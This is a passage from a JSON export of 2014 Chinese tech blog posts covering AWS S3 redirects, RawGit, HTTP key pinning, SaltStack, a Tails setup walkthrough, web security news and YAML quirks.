    "body": "參考「<a href=\"https://docs.aws.amazon.com/AmazonS3/latest/dev/HowDoIWebsiteConfiguration.html\">Configure a Bucket for Website Hosting</a>」這邊的說明就可以了，拿 <code>test-redirect.abpe.org</code> 當範例，先是 <code>CNAME</code> 到 <a href=\"http://aws.amazon.com/s3/\">S3</a> 的 website endpoint 上：(這個 bucket 我是放在 us-west-2 上，所以會指到 us-west-2 的 website endpoint)\r\n\r\n<pre>;; ANSWER SECTION:\r\ntest-redirect.abpe.org. 7200    IN      CNAME   test-redirect.abpe.org.s3-website-us-west-2.amazonaws.com.</pre>\r\n\r\n然後 S3 上指定 redirect rule：\r\n\r\n<pre>  &lt;RoutingRules&gt;\r\n    &lt;RoutingRule&gt;\r\n    &lt;Condition&gt;\r\n      &lt;KeyPrefixEquals&gt;img/&lt;/KeyPrefixEquals&gt;\r\n    &lt;/Condition&gt;\r\n    &lt;Redirect&gt;\r\n      &lt;HostName&gt;www.example.com&lt;/HostName&gt;\r\n      &lt;ReplaceKeyPrefixWith&gt;img/&lt;/ReplaceKeyPrefixWith&gt;\r\n    &lt;/Redirect&gt;\r\n    &lt;/RoutingRule&gt;\r\n  &lt;/RoutingRules&gt;</pre>\r\n\r\n也就是像是這樣：\r\n\r\n<img src=\"//i.imgur.com/mz6STMw.png\" alt=\"\" />\r\n\r\n也就是說，如果是 simple redirect 的話，可以善用 S3 的這個功能而不用自己架設 web server (自己架設需要另外考慮 High Availability)，還算蠻方便的？",
    "title": "用 Amazon S3 送 301 重導"
  },
  {
    "id": "5015",
    "body": "<a href=\"http://rawgit.com/\">RawGit</a> 可以讓你直接連 <a href=\"https://github.com/\">GitHub</a> 的檔案，並且帶入適當的 <code>Content-Type</code>：\r\n\r\n<blockquote>RawGit serves raw files directly from GitHub with proper Content-Type headers.</blockquote>\r\n\r\nproduction url 用的是 NetDNA (<a href=\"http://www.maxcdn.com/\">MaxCDN</a>)：\r\n\r\n<pre>cdn.rawgit.com.         3600    IN      CNAME   rawgit.rawgh.netdna-cdn.com.</pre>\r\n\r\n不過一般情況下可以直接用 <code>raw.github.com</code>，這個是 GitHub 提供的網址，目前使用 <a href=\"https://www.fastly.com/\">Fastly</a>：\r\n\r\n<pre>raw.github.com.         30      IN      CNAME   github.map.fastly.net.</pre>",
    "title": "用 RawGit 服務供應檔案"
  },
  {
    "id": "5017",
    "body": "在「<a href=\"https://threatpost.com/mozilla-to-support-key-pinning-in-firefox-32/107976\">Mozilla to Support Key Pinning in Firefox 32</a>」看到的新聞，目前的標準還是 draft：「<a href=\"http://tools.ietf.org/html/draft-ietf-websec-key-pinning-20\">Public Key Pinning Extension for HTTP</a>」。\r\n\r\n被簡稱 PKP 與 HPKP：(一般比較常用前者)\r\n\r\n<blockquote>We call this \"public key pinning\" (PKP); in particular, this document describes HTTP-based public key pinning (HPKP).</blockquote>\r\n\r\n可以看到 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 程式碼裡面是怎麼使用 PKP 技術預載的：「<a href=\"https://src.chromium.org/viewvc/chrome/trunk/src/net/http/transport_security_state_static.json\">/trunk/src/net/http/transport_security_state_static.json</a>」。\r\n\r\n目前 Google Chrome 使用的方式是限制 <a href=\"https://www.google.com/\">Google</a> 的網域只能由某些特定的 CA 才能簽，這樣可以降低其他 CA 簽出高經濟價值的 SSL certificate 的效益。\r\n\r\n在 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的 wiki 上面可以看到對應的條目：「<a href=\"https://wiki.mozilla.org/SecurityEngineering/Public_Key_Pinning\">SecurityEngineering/Public Key Pinning</a>」，目前 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的版本是 31，也就是從下一個版本就支援了。\r\n\r\n第一波的 32 版會支援 Mozilla 自己的某些站台，以及一些 <a href=\"https://twitter.com/\">Twitter</a> 的網域。\r\n\r\n第二波的 33 版會把 Twitter 的部份擴充到 <code>*.twitter.com</code>，另外還會支援 Google 所擁有的網域。\r\n\r\n第三波的 34 版會支援 Firefox account (<code>*.accounts.firefox.com</code>)、<a href=\"https://www.torproject.org/\">Tor</a> 以及 <a href=\"https://www.dropbox.com/\">Dropbox</a>。",
    "title": "Firefox 也要支援 Public Key Pinning Extension for HTTP"
  },
  {
    "id": "5019",
    "body": "在 <a href=\"https://www.vmware.com/\">VMware</a> 裡面跑 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 通常會安裝 VMware Tools，像是「<a href=\"https://www.vmware.com/support/ws55/doc/ws_newguest_tools_linux.html\">VMware Tools for Linux Guests</a>」這篇介紹的方法。\r\n\r\n但官方介紹的方法比較麻煩一點，所以想要從現有的套件裡找看看有沒有現成的可以用，然後就找到「<a href=\"http://packages.ubuntu.com/trusty/open-vm-tools\">open-vm-tools</a>」，而且看起來已經存在一段時間了，12.04 (甚至 10.04) 都有支援。\r\n\r\n裝好後就可以馬上看到更新：\r\n\r\n<img src=\"//i.imgur.com/kFlcfM1.png\" alt=\"\" />\r\n\r\n應該是沒問題吧...",
    "title": "Ubuntu 下 VMware Tools 的替代品 Open Virtual Machine Tools"
  },
  {
    "id": "5024",
    "body": "<a href=\"http://www.linux.org/\">Linux</a> 上可以跑 <a href=\"https://en.wikipedia.org/wiki/ZFS\">ZFS</a> 的消息已經一陣子了，但在「<a href=\"http://louwrentius.com/71-tib-diy-nas-based-on-zfs-on-linux.html\">71 TiB DIY NAS Based on ZFS on Linux</a>」這篇看到有人跳下去玩還是覺得很特別... (大多還是看到 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 或是 <a href=\"http://www.oracle.com/\">Oracle</a> 的系統)\r\n\r\n<img src=\"//i.imgur.com/jag8seN.jpg\" alt=\"\" />\r\n\r\n用的是 <a href=\"http://www.debian.org/\">Debian</a> <a href=\"https://www.debian.org/releases/wheezy/\">Wheezy</a>，文章裡沒提到是不是跑 <a href=\"http://open-zfs.org/\">OpenZFS</a>，不過我猜應該是...\r\n\r\n跑出來的效能相當好：\r\n\r\n<blockquote>With a storage capacity four times higher than the original and an incredible read (2.5 GB/s)/write (1.9 GB/s) performance, it's a worthy successor.</blockquote>\r\n\r\n約 6012 歐元，大約 23.5 萬台幣。",
    "title": "Linux 上跑 ZFS"
  },
  {
    "id": "5026",
    "body": "相較於 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的五年 LTS (Long Term Support)，<a href=\"http://hhvm.com/\">HHVM</a> 的 LTS 只有 48 周：「<a href=\"http://hhvm.com/blog/6083/hhvm-long-term-support\">HHVM Long Term Support</a>」。\r\n\r\n不過考慮到 <a href=\"http://www.php.net/\">PHP</a> 的開發週期，這個時間長度不算太意外：\r\n\r\n<img src=\"//i.imgur.com/GdeEZlI.png\" alt=\"\" />\r\n\r\n每 24 周會有一次 LTS release，而每個 LTS 支援 48 周。\r\n\r\n今年 2014/09/11 要出的 HHVM 3.3 將會支援到明年 2015/08/13，這樣對於會需要使用 HHVM 的單位應該還算可以接受？\r\n\r\n等穩定下來後 (不知道多久後) 也許會再拉長 LTS 的支援時間？",
    "title": "HHVM 的 LTS"
  },
  {
    "id": "5032",
    "body": "<a href=\"http://www.cloudflare.com/\">CloudFlare</a> 上個月底的時候發了一篇關於頻寬成本的文章：「<a href=\"http://blog.cloudflare.com/the-relative-cost-of-bandwidth-around-the-world\">The Relative Cost of Bandwidth Around the World</a>」。\r\n\r\n<img src=\"//i.imgur.com/1GbdKGL.png\" alt=\"\" />\r\n\r\n歐洲是最低的，北美還高出歐洲一些。亞洲與南美是同個等級，大約是歐洲的六倍多，而澳洲是最貴的。\r\n\r\n成本跟 transit 以及 peering 的量有關，這是 CloudFlare 提供的數字，只能拿來參考用...",
    "title": "CloudFlare 的頻寬成本"
  },
  {
    "id": "5035",
    "body": "<a href=\"http://instagram.com/\">Instagram</a> 上星期推出了 <a href=\"https://itunes.apple.com/us/app/hyperlapse-from-instagram/id740146917\">Hyperlapse</a>：「<a href=\"http://instagram-engineering.tumblr.com/post/95922900787/hyperlapse\">The Technology behind Hyperlapse from Instagram</a>」。\r\n\r\n如果講得很簡略，就是「防手振的錄影 app」，可以直接看 Instagram 提供的範例影片：\r\n\r\n<iframe src=\"//player.vimeo.com/video/104410054\" width=\"640\" height=\"360\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>\r\n\r\n文章裡面還解釋了很多原理，有興趣的人可以看看 :p",
    "title": "Instagram 的 Hyperlapse"
  },
  {
    "id": "5040",
    "body": "現在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 是 37 版，接下來的幾個版本會開始針對只有 SHA-1 fingerprint 的 SSL certificate 降低安全評價：「<a href=\"http://googleonlinesecurity.blogspot.com/2014/09/gradually-sunsetting-sha-1.html\">Gradually sunsetting SHA-1</a>」。\r\n\r\n這是 39 版預定的情況，會出現警告：\r\n\r\n<img src=\"//i.imgur.com/0WmKBxR.png\" alt=\"\" />\r\n\r\n這是 40 版預定的情況，安全 icon 會消失：\r\n\r\n<img src=\"//i.imgur.com/xV2Bu5H.png\" alt=\"\" />\r\n\r\n而這是 41 版直接廢止的情況，當作不合法的 SSL certificate 處理：\r\n\r\n<img src=\"//i.imgur.com/bVRfomY.png\" alt=\"\" />\r\n\r\n另外，預先安裝的 root certificate 不受影響，因為並不是看 SHA-1 hash：\r\n\r\n<blockquote>Note: SHA-1-based signatures for trusted root certificates are not a problem because TLS clients trust them by their identity, rather than by the signature of their hash.</blockquote>\r\n\r\n整個過程大約會在 2015Q1 告一個階段。",
    "title": "Google Chrome 對只有 SHA-1 fingerprint 的淘汰過程"
  },
  {
    "id": "5043",
    "body": "最近在試 <a href=\"http://www.saltstack.com/\">SaltStack</a>，先從 Masterless 模式開始玩，可以拿來練習寫 SaltStack 專門的 <code>sls</code> 檔。相關的文件可以參考「<a href=\"http://salt.readthedocs.org/en/latest/topics/tutorials/standalone_minion.html\">Standalone Minion</a>」這篇。\r\n\r\n我是裝 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 14.04.1 LTS，然後用 ppa 裝 SaltStack 最新版，避免與與官方的文件差異太大：\r\n\r\n<pre># apt-add-repository ppa:saltstack/salt\r\n# apt-get update\r\n# apt-get install salt-minion</pre>\r\n\r\n然後建立 <code>/srv/salt</code> 後就可以在這個目錄下面開始做事。這個目錄是 SaltStack 的預設值 (可以參考 <code>/etc/salt</code> 下面的檔案)，所以不需要另外再設定：\r\n\r\n<pre># mkdir /srv/salt\r\n# cd /srv/salt</pre>\r\n\r\nSaltStack 讀取的起點預設是 <code>top.sls</code>，這個檔案預設的格式是 <a href=\"http://www.yaml.org/\">YAML</a>：\r\n\r\n<pre>base:\r\n    '*':\r\n        - default</pre>\r\n\r\n然後就可以寫 <code>default.sls</code>：\r\n\r\n<pre>most:\r\n  pkg:\r\n    - installed\r\n\r\nlocale:\r\n  cmd.run:\r\n    - name: locale-gen zh_TW.UTF-8</pre>\r\n\r\n然後在機器上呼叫 salt-call 執行：\r\n\r\n<pre># salt-call --local state.highstate</pre>\r\n\r\n或是開 debug 訊息：\r\n\r\n<pre># salt-call --local -l debug state.highstate</pre>\r\n\r\n這樣就可以看到各種輸出結果了。這樣應該就會看到 <a href=\"http://packages.ubuntu.com/trusty/most\">most</a> 被裝起來，另外 zh_TW.UTF-8 的 locale 應該也會生出來。",
    "title": "SaltStack 的 Masterless 模式"
  },
  {
    "id": "5045",
    "body": "在「<a href=\"https://github.com/tylertreat/chan\">Pure C implementation of Go channels.</a>」這邊看到有人在 C 語言裡面實做 <a href=\"http://golang.org/\">Go</a> 的 Channel，包括了 Unbuffered 與 Buffered 版本。\r\n\r\n看起來是支援 multithreading 的：「<a href=\"https://github.com/tylertreat/chan/commit/1a50e15cda1a1aca3bcbe27e3f4531f8969d1147\">Add missing pthread_cond_destroy in chan init cleanup</a>」、「<a href=\"https://github.com/tylertreat/chan/commit/73f24fa09259a39fb42663002bd64f67945c9188\">Add -lpthread to CFLAGS</a>」。",
    "title": "C 對 Go Channel 的實做"
  },
  {
    "id": "5047",
    "body": "在「<a href=\"http://mobile.slashdot.org/story/14/08/30/2150238/wi-fi-router-attack-only-requires-a-single-pin-guess\">Wi-Fi Router Attack Only Requires a Single PIN Guess</a>」這邊看到利用 WPS 實做上的弱點攻擊而取得 WPA 的密碼。\r\n\r\n投影片取自「<a href=\"http://www.slideshare.net/0xcite/offline-bruteforce-attack-on-wifi-protected-setup\">Offline bruteforce attack on WiFi Protected Setup</a>」這邊：\r\n\r\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/37742750?rel=0\" width=\"597\" height=\"486\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen></iframe>\r\n\r\n利用各種方法攻擊，像是不夠安全的 PRNG (Pseudo Random Number Generator)。\r\n\r\n作者的建議是，關掉 WPS 會比較安全 XD",
    "title": "利用 WPS 實做上的問題攻擊，而取得 WPA 密碼"
  },
  {
    "id": "5049",
    "body": "出自「<a href=\"https://wiki.apache.org/httpd/PHP-FPM\">High-performance PHP on apache httpd 2.4.x using mod_proxy_fcgi and php-fpm.</a>」這邊的方法：\r\n\r\n<pre>ProxyPassMatch ^/(.*\\.php(/.*)?)$ unix:/var/run/php5-fpm.sock|fcgi://127.0.0.1:9000/var/www/www.example.com/public/</pre>\r\n\r\n後面那個 <code>127.0.0.1:9000</code> 看起來變成裝飾用，有點奇怪... 不過至少會動？",
    "title": "Apache 2.4 的 ProxyPass 對 Unix Domain Socket 的 FastCGI 界面設定"
  },
  {
    "id": "5051",
    "body": "在「<a href=\"http://spin.atomicobject.com/2014/09/03/visualizing-garbage-collection-algorithms/\">Visualizing Garbage Collection Algorithms</a>」這篇文章裡介紹了大量的 Garbage Collection 視覺化後的樣子 (GIF 動畫)，拿來複習 GC algorithm...\r\n\r\n像是這是沒有 GC 的情況 (Cleanup At The End: aka No GC)：\r\n\r\n<img src=\"//i.imgur.com/YIIv5ql.gif\" alt=\"\" />\r\n\r\n很有趣的動畫效果...",
    "title": "各種 Garbage Collection 的視覺化圖片"
  },
  {
    "id": "5053",
    "body": "<a href=\"http://fogofworld.com/\">世界迷霧</a>的消息，在某個 <a href=\"https://www.facebook.com/\">Facebook</a> 討論串裡看到的，抓重要的部份就好。\r\n\r\n第一張：\r\n\r\n<img src=\"//i.imgur.com/8BOFQ0B.png\" alt=\"\" />\r\n\r\n第二張：\r\n\r\n<img src=\"//i.imgur.com/wDp5uNS.png\" alt=\"\" />\r\n\r\n來期待一下好了 XD",
    "title": "世界迷霧 Android 版本的消息"
  },
  {
    "id": "5055",
    "body": "Bitcoin 的特性使得各家金流業者被逼著要支援，不然就等著在市場上被淘汰。\r\n\r\n既 <a href=\"https://stripe.com/\">Stripe</a> 的測試「<a href=\"https://stripe.com/bitcoin\">Stripe: Bitcoin</a>」表態後，龍頭 <a href=\"https://www.paypal.com/\">PayPal</a> 也出手了：「<a href=\"https://www.paypal-community.com/t5/PayPal-Forward/Braintree-Brings-One-Touch-Payments-to-the-People-and-Will-Offer/ba-p/872921\">Braintree Brings One Touch Payments to the People and Will Offer Bitcoin to Developers Soon</a>」。\r\n\r\n目前是跟 <a href=\"https://coinbase.com/\">Coinbase</a> 合作：\r\n\r\n<blockquote>In addition we announced that Braintree has partnered with Coinbase to offer a trusted and secure way for people to pay with bitcoin across their favorite apps in the coming months.</blockquote>",
    "title": "PayPal 旗下的 Braintree 將支援 Bitcoin 貨幣"
  },
  {
    "id": "5057",
    "body": "在「<a href=\"http://justinhileman.info/article/git-pretty/\">Git pretty</a>」給了一張流程圖告訴你要怎麼辦，裡面包括了各類密技，像是 hard reset + force commit 這類合作時幾乎是禁用的指令 XD：\r\n\r\n<img src=\"//i.imgur.com/GMYm3gJ.png\" alt=\"\" />",
    "title": "Git commit 不好看的問題"
  },
  {
    "id": "5059",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 這篇「<a href=\"http://mobile.slashdot.org/story/14/09/07/2045214/facebooks-auto-play-videos-chew-up-expensive-data-plans\">Facebook's Auto-Play Videos Chew Up Expensive Data Plans</a>」提到了 <a href=\"https://www.facebook.com/\">Facebook</a> 自動播放功能對行動網路的影響。\r\n\r\n有種當年「微軟推出新的作業系統，推動硬體升級」的氣氛？\r\n\r\n原文裡有提供關掉 autoplay 的方法，在行動裝置上 (尤其是沒有吃到飽的網路上) 建議花個時間設定 :p",
    "title": "Facebook 的影片自動播放功能對行動網路的影響"
  },
  {
    "id": "5061",
    "body": "剛剛才意外發現的，是 <a href=\"https://aws.amazon.com/route53/\">Route53</a> + <a href=\"https://aws.amazon.com/s3/\">S3</a> + <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 的組合：\r\n\r\n<pre>;; ANSWER SECTION:\r\nwww.mizukinana.jp.      60      IN      A       54.239.176.113\r\nwww.mizukinana.jp.      60      IN      A       54.239.176.150\r\nwww.mizukinana.jp.      60      IN      A       54.230.214.85\r\nwww.mizukinana.jp.      60      IN      A       54.230.214.89\r\nwww.mizukinana.jp.      60      IN      A       54.230.215.52\r\nwww.mizukinana.jp.      60      IN      A       54.230.215.91\r\nwww.mizukinana.jp.      60      IN      A       54.230.215.156\r\nwww.mizukinana.jp.      60      IN      A       54.239.176.88</pre>\r\n\r\n這些 IP 是台灣的 CloudFront 節點。從 whois 可以看到至少是三月就這樣了？\r\n\r\n<pre>Domain Information:\r\n[Domain Name]                   MIZUKINANA.JP\r\n\r\n[Registrant]                    Most Company Co., Ltd.\r\n\r\n[Name Server]                   ns-290.awsdns-36.com\r\n[Name Server]                   ns-1966.awsdns-53.co.uk\r\n[Name Server]                   ns-1265.awsdns-30.org\r\n[Name Server]                   ns-579.awsdns-08.net\r\n[Signing Key]                   \r\n\r\n[Created on]                    2005/09/13\r\n[Expires on]                    2014/09/30\r\n[Status]                        Active\r\n[Last Updated]                  2014/03/28 12:36:18 (JST)</pre>\r\n\r\n<a href=\"http://news.netcraft.com/\">Netcraft</a> 上沒有記錄到什麼時候換的：「<a href=\"http://toolbar.netcraft.com/site_report?url=http://www.mizukinana.jp\">Site report for www.mizukinana.jp</a>」。\r\n\r\n不過 archive.org 上可以看到改版的記錄，應該是 migration 的時候順變換過去的？看 <a href=\"https://web.archive.org/web/20140210023314/http://mizukinana.jp/\">2014/02/10</a> 版本以及 <a href=\"https://web.archive.org/web/20140518010953/http://www.mizukinana.jp/\">2014/05/18</a> 版本的差異，連結從 <code>mizukinana.jp</code> 變成了 <code>www.mizukinana.jp</code>。\r\n\r\n所以應該是三月改的？\r\n\r\n意外的先進... XD",
    "title": "水樹奈奈的官方網站放到 Route53 + S3 + CloudFront 上..."
  },
  {
    "id": "5063",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/dakami\">Dan Kaminsky</a> 的 retweet：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Awesome deck on practical aspects of CSP from <a href=\"https://twitter.com/ndm\">@ndm</a> <a href=\"https://t.co/fKS4a6RrIr\">https://t.co/fKS4a6RrIr</a></p>&mdash; hillbrad⚡ (@hillbrad) <a href=\"https://twitter.com/hillbrad/status/510497959297810432\">September 12, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n開頭的幾篇就列出不少 CSP 常見的情況，並且說明 CSP 應該要在軟體開發時就引入：\r\n\r\n<img src=\"//i.imgur.com/9FKpadp.jpg\" alt=\"\" />\r\n\r\n另外提到的 CSP Level 2 也是個很有趣的觀念，像是 nonce：\r\n\r\n<img src=\"//i.imgur.com/7zhywqv.jpg\" alt=\"\" />\r\n\r\n以及 hash：\r\n\r\n<img src=\"//i.imgur.com/dJPRhlK.jpg\" alt=\"\" />\r\n\r\n不過 Level 2 目前還在 working draft：「<a href=\"http://www.w3.org/TR/CSP11/\">Content Security Policy Level 2</a>」，這個功能應該還要等...",
    "title": "CSP (Content Security Policy)"
  },
  {
    "id": "5067",
    "body": "來介紹 <a href=\"https://tails.boum.org/\">Tails</a> 這個以隱私為重點而設計出來的環境。\r\n\r\nTails 是一個獨立的作業環境，以 <a href=\"https://www.debian.org/\">Debian</a> 打造，並且使用 <a href=\"https://www.torproject.org/\">Tor</a> 保護隱私，另外透過調整過的 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> (在 Debian 裡叫做 <a href=\"https://wiki.debian.org/Iceweasel\">Iceweasel</a>) 確保連線的安全。\r\n\r\n設計上，整個系統利用 <a href=\"http://www.netfilter.org/\">iptables</a> 保護，只允許 Tor 的流量連出去，而其他的程式都是透過環境變數與 proxy 設定連外，所以用 curl (透過環境變數設定 proxy) 可以通，但用 nc 直接連卻不會通：\r\n\r\n<img src=\"//i.imgur.com/Wk3JcIb.png\" alt=\"\" />\r\n\r\n<strong>要注意的是，由於這是使用 Tor 作為隱私保護，所以非 HTTPS 的連線都應該被視為會被竊聽或是加料的環境，請避免使用 Tails 連上 HTTP 網站。</strong>\r\n\r\nTails 可以在網站上可以下載 ISO image 安裝，下載完後請務必確認 SHA256 是否正確 (網站上有 SHA256 的值，加上 HTTPS 的網址，直接看網站上的這個 SHA256 值應該還算安全)。\r\n\r\n拿到 ISO image 後可以選擇燒成光碟後開機執行，這是官方比較推薦的方法。如果是使用虛擬機執行時，需要確認母虛擬機的主體 (Host) 是安全的。\r\n\r\n這邊以 VirtualBox 為例子，選擇 Debian 32bits 然後直接把 ISO image 掛上去：\r\n\r\n<img src=\"//i.imgur.com/paN8utd.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/vfrGeYc.png\" alt=\"\" />\r\n\r\n使用虛擬機時，記憶體開個 1GB 應該是夠用 (我是開 2GB，因為沒有掛硬碟當 crypto swap，記憶體大理論上會順一點)，看個人環境而自己選擇。開機後會出現：\r\n\r\n<img src=\"//i.imgur.com/DmQsbzY.png\" alt=\"\" />\r\n\r\n放著開進去或是選 Live 進去都可以，接下來會出現登入畫面：\r\n\r\n<img src=\"//i.imgur.com/SCelojN.png\" alt=\"\" />\r\n\r\n第一次玩可以直接用預設值選 Login 就好。登入進去後可以看到這個畫面：\r\n\r\n<img src=\"//i.imgur.com/oNRpdX7.png\" alt=\"\" />\r\n\r\n然後過一陣子後右上角會出現黃色的洋蔥 icon，表示已經連上 Tor：\r\n\r\n<img src=\"//i.imgur.com/DZYLAx9.png\" alt=\"\" />\r\n\r\n再等一陣子後右上角的洋蔥就會變成綠色，表示已經順利連上：\r\n\r\n<img src=\"//i.imgur.com/R3yHwJb.png\" alt=\"\" />\r\n\r\n瀏覽器開起來預設會連到 Tails 的官方網站：\r\n\r\n<img src=\"//i.imgur.com/aYMM8HY.png\" alt=\"\" />\r\n\r\n接下來就可以開始做事了：(這是不良示範，你不應該在匿名 channel 裡面查詢與自己有關的資訊)\r\n\r\n<img src=\"//i.imgur.com/POAnpZp.png\" alt=\"\" />\r\n\r\n到這邊應該有個獨立的環境可以玩了...",
    "title": "介紹 Tails：Privacy for anyone anywhere"
  },
  {
    "id": "5076",
    "body": "直接練出一份 PoC 讓大家看：「<a href=\"https://code.google.com/p/corkami/source/detail?r=1906\">a JPEG that becomes a PNG after AES encryption and a PDF after 3DES decryption</a>」，這是原始檔：(這邊直接引用 Google Code 上的 image)\r\n\r\n<img src=\"https://corkami.googlecode.com/svn-history/r1906/trunk/src/angecryption/PoCs/mrmcd.jpg\" alt=\"\" />\r\n\r\n透過 AES-CBC 加密後會是這樣的圖片：\r\n\r\n<img src=\"//i.imgur.com/pHTqEbv.png\" alt=\"\" />\r\n\r\n透過 3DES-CBC 解密後則是這樣的 PDF：\r\n\r\n<img src=\"//i.imgur.com/rK173EP.png\" alt=\"\" />",
    "title": "JPEG 用 AES-CBC 加密後變成 PNG，用 3DES-CBC 解密後變成 PDF..."
  },
  {
    "id": "5078",
    "body": "有 server 被摸進去了，參考「<a href=\"https://blog.freenode.net/2014/09/server-issues-2/\">Server issues</a>」：\r\n\r\n<blockquote>Earlier today the freenode infra team noticed an anomaly on a single IRC server. We have since identified that this was indicative of the server being compromised by an unknown third party.</blockquote>\r\n\r\n因此建議大家更換 channel key 與密碼：\r\n\r\n<blockquote>Since traffic may have been sniffed, you may also wish to consider any channel keys or similar secret information exchanged over the network.</blockquote>",
    "title": "freenode 要求使用者更換密碼"
  },
  {
    "id": "5080",
    "body": "在芝加哥 <a href=\"http://www.imts.com/\">IMTS</a> 2014，參考「<a href=\"http://3dprint.com/15139/local-motors-3d-printed-strati/\">Local Motors’ 3D Printed ‘Strati’ Car Has Just Taken Its First Test Drive</a>」這篇報導，以及影片：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"//www.youtube.com/embed/fWjIa0uO0BE\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n警車在前面開道？XD",
    "title": "3D 列印車的第一次試行"
  },
  {
    "id": "5083",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>go home linkedin, you&#39;re drunk <a href=\"http://t.co/lsEOdpjmhD\">pic.twitter.com/lsEOdpjmhD</a></p>&mdash; Adam Dymitruk (@adymitruk) <a href=\"https://twitter.com/adymitruk/status/511047271962923008\">September 14, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n雖然是 machine learning 算出來的結果，但看到還是很好笑啊 XDDD",
    "title": "Linkedin 幹的好！XDDD"
  },
  {
    "id": "5085",
    "body": "<img src=\"//i.imgur.com/SsjcF4x.png\" alt=\"\" />\r\n<small><a href=\"https://minecraft.net/\">Minecraft</a>，出自「<a href=\"http://minecraft.gamepedia.com/File:Beta.png\">File:Beta.png</a>」。</small>\r\n\r\n如同前幾天的傳言，<a href=\"http://www.microsoft.com/\">Microsoft</a> 將會以 25 億美金買下 <a href=\"https://mojang.com/\">Mojang</a>：「<a href=\"https://mojang.com/2014/09/yes-were-being-bought-by-microsoft/\">Yes, we’re being bought by Microsoft</a>」。\r\n\r\n<blockquote>Microsoft acquired Mojang for a smooth 2.5 BILLION dollars.</blockquote>\r\n\r\n不過更重要的是創辦人 <a href=\"http://notch.net/\">Markus Persson</a> (<a href=\"https://twitter.com/notch\">@notch</a>) 選擇離開的公開信，裡面敘述了選擇賣掉並且離開的原因：「<a href=\"http://notch.net/2014/09/im-leaving-mojang/\">I’m leaving Mojang</a>」。\r\n\r\n主要的原因還是想要尋找更多有趣的事情，做更多嘗試，但 Mojang 變成沉重的負擔，所以決定讓出去...",
    "title": "Microsoft 以 25 億美金買下 Mojang"
  },
  {
    "id": "5087",
    "body": "因為碰 <a href=\"http://www.saltstack.com/\">SaltStack</a>，而官方建議用的格式是 <a href=\"http://www.yaml.org/\">YAML</a> (雖然也支援 <a href=\"http://json.org/\">JSON</a>，但文件幾乎都是 YAML)，所以被迫要學一堆奇怪的 YAML hack，在官方文件上甚至寫了一篇「<a href=\"http://docs.saltstack.com/en/latest/topics/troubleshooting/yaml_idiosyncrasies.html\">YAML Idiosyncrasies</a>」讓大家參考，用 Idiosyncrasies 這個詞彙比較中性，但需要專文來寫就可以想像 YAML 有多 !@#$%^...\r\n\r\n然後文章裡面也發現 SaltStack 在亂搞，於是就快起笑了...\r\n\r\n首先是建議 indent 為 2 spaces，另外禁用 tab，這些到是沒什麼好抱怨的。但 dict 的設計就讓人崩潰，像是這樣的結構：\r\n\r\n<pre>foo:\r\n  - bar:\r\n    baz1: abc\r\n    baz2: def</pre>\r\n\r\n你以為對應的 JSON 是：\r\n\r\n<pre>{\r\n  \"foo\": {\r\n    \"bar\": {\r\n      \"baz1\": \"abc\",\r\n      \"baz2\": \"def\"\r\n    }\r\n  }\r\n}</pre>\r\n\r\n但實際對應的 JSON 中，bar、baz1、baz2 視同一層：\r\n\r\n<pre>{\r\n  \"foo\": {\r\n    \"bar\": null,\r\n    \"baz1\": \"abc\",\r\n    \"baz2\": \"def\"\r\n  }\r\n}</pre>\r\n\r\n因為其實對應的 YAML 是：\r\n\r\n<pre>foo:\r\n  - bar:\r\n  - baz1: abc\r\n  - baz2: def</pre>\r\n\r\n你就不能把最上面的 YAML 定義成 syntax error 嗎... =_=\r\n\r\n接下是 SaltStack 的惡搞時間，因為 YAML parser 會把 644 當作數字傳進去，所以這樣的設定：\r\n\r\n<pre>/etc/vimrc:\r\n  file:\r\n    - managed\r\n    - source: salt://edit/vimrc\r\n    - mode: 644</pre>\r\n\r\nSaltStack 會收到 644 (十進位)，而如果你寫成 0644 時，就會被讀成八進位，也就是 420 (十進位)：\r\n\r\n<pre>/etc/vimrc:\r\n  file:\r\n    - managed\r\n    - source: salt://edit/vimrc\r\n    - mode: 0644</pre>\r\n\r\n我覺得後面這個是比較正確的寫法，所以應該要會動，但 SaltStack 對這部份 workaround，會變成 <code>chmod 420 /etc/vimrc</code>，然後就噴飯了...\r\n\r\n另外 <code>2013_01_12</code> 這種字串會被解讀成 20130102 (十進位)，這會不會太歡樂...\r\n\r\n反正用下去後應該會再踩更多地雷，繼續看下去吧...",
    "title": "YAML 的地雷"
  },
  {
    "id": "5089",
